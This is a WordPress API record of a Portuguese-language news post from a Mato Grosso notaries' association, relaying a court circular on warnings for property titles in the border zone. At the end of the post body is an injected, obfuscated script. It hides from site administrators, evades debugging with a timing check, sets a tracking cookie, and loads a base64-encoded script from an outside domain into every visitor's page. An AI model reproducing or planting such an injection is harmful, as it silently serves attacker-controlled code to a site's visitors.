{"id":45933,"date":"2025-07-16T10:46:57","date_gmt":"2025-07-16T14:46:57","guid":{"rendered":"https:\/\/www.anoregmt.org.br\/novo\/?p=45933"},"modified":"2026-04-27T06:37:57","modified_gmt":"2026-04-27T10:37:57","slug":"oficio-circular-no-25-2025-gab-cgj-observancia-de-orientacoes-especificas-em-notas-devolutivas-de-imoveis-situados-na-faixa-de-fronteira","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/oficio-circular-no-25-2025-gab-cgj-observancia-de-orientacoes-especificas-em-notas-devolutivas-de-imoveis-situados-na-faixa-de-fronteira\/","title":{"rendered":"Of\u00edcio Circular n\u00ba 25\/2025-GAB\/CGJ &#8211; Observ\u00e2ncia de orienta\u00e7\u00f5es espec\u00edficas em notas devolutivas de im\u00f3veis situados na faixa de fronteira"},"content":{"rendered":"<p style=\"text-align: justify;\" data-start=\"138\" data-end=\"539\">\u00a0 \u00a0 \u00a0A Associa\u00e7\u00e3o dos Not\u00e1rios e Registradores do Estado de Mato Grosso (Anoreg-MT) informa aos oficiais de registro de im\u00f3veis que atuam em munic\u00edpios situados na faixa de fronteira sobre a nova orienta\u00e7\u00e3o da Corregedoria-Geral da Justi\u00e7a de Mato Grosso.\u00a0A partir de agora, toda e qualquer nota devolutiva emitida pelos cart\u00f3rios deve conter a seguinte advert\u00eancia expressa, sempre que identificado que o im\u00f3vel est\u00e1 inserido total ou parcialmente na \u00e1rea de faixa de fronteira:<\/p>\n<blockquote data-start=\"744\" data-end=\"938\">\n<p style=\"text-align: justify;\" data-start=\"746\" data-end=\"938\"><strong><em>\u201cAten\u00e7\u00e3o: o im\u00f3vel objeto do presente t\u00edtulo est\u00e1 situado na faixa de fronteira. Verifique se h\u00e1 necessidade de ratifica\u00e7\u00e3o da aquisi\u00e7\u00e3o. Procure informa\u00e7\u00f5es junto aos \u00f3rg\u00e3os competentes.\u201d<\/em><\/strong><\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\" data-start=\"940\" data-end=\"1344\">\u00a0 \u00a0 \u00a0Al\u00e9m disso, quando o im\u00f3vel tiver \u00e1rea superior a 2.500 hectares na data de publica\u00e7\u00e3o da Lei n\u00ba 13.178\/2015, dever\u00e1 constar men\u00e7\u00e3o espec\u00edfica \u00e0 extens\u00e3o, com eventual alerta sobre a necessidade de observar os requisitos legais e constitucionais aplic\u00e1veis \u00e0 aquisi\u00e7\u00e3o de im\u00f3veis rurais de grande extens\u00e3o em faixa de fronteira. Nesses casos, \u00e9 necess\u00e1ria a aprova\u00e7\u00e3o pr\u00e9via do Congresso Nacional.<\/p>\n<p style=\"text-align: justify;\" data-start=\"1346\" data-end=\"1546\">\u00a0 \u00a0 \u00a0Segundo a Corregedoria, essa medida visa uniformizar os procedimentos e garantir a adequada ci\u00eancia e orienta\u00e7\u00e3o aos usu\u00e1rios do servi\u00e7o registral, conforme as normas legais e regulamentares aplic\u00e1veis \u00e0 mat\u00e9ria.<\/p>\n<p style=\"text-align: justify;\" data-start=\"1548\" data-end=\"1792\" data-is-last-node=\"\" data-is-only-node=\"\">\u00a0 \u00a0 \u00a0Eventuais esclarecimentos devem ser solicitados diretamente \u00e0 Corregedoria pelo e-mail <a class=\"cursor-pointer\" rel=\"noopener\" data-start=\"1761\" data-end=\"1789\">corregedoria.dfe@tjmt.jus.br<\/a>.<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u00a0 \u00a0 \u00a0A Associa\u00e7\u00e3o dos Not\u00e1rios e Registradores do Estado de Mato Grosso (Anoreg-MT) informa aos oficiais de registro de im\u00f3veis que atuam em munic\u00edpios situados na faixa de fronteira sobre a nova orienta\u00e7\u00e3o da Corregedoria-Geral da Justi\u00e7a de Mato &hellip;<\/p>\n","protected":false},"author":3,"featured_media":45934,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-45933","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-noticias"],"_links":{"self":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts\/45933","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/comments?post=45933"}],"version-history":[{"count":2,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts\/45933\/revisions"}],"predecessor-version":[{"id":49569,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/posts\/45933\/revisions\/49569"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/media\/45934"}],"wp:attachment":[{"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/media?parent=45933"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/categories?post=45933"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.anoregmt.org.br\/novo\/wp-json\/wp\/v2\/tags?post=45933"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}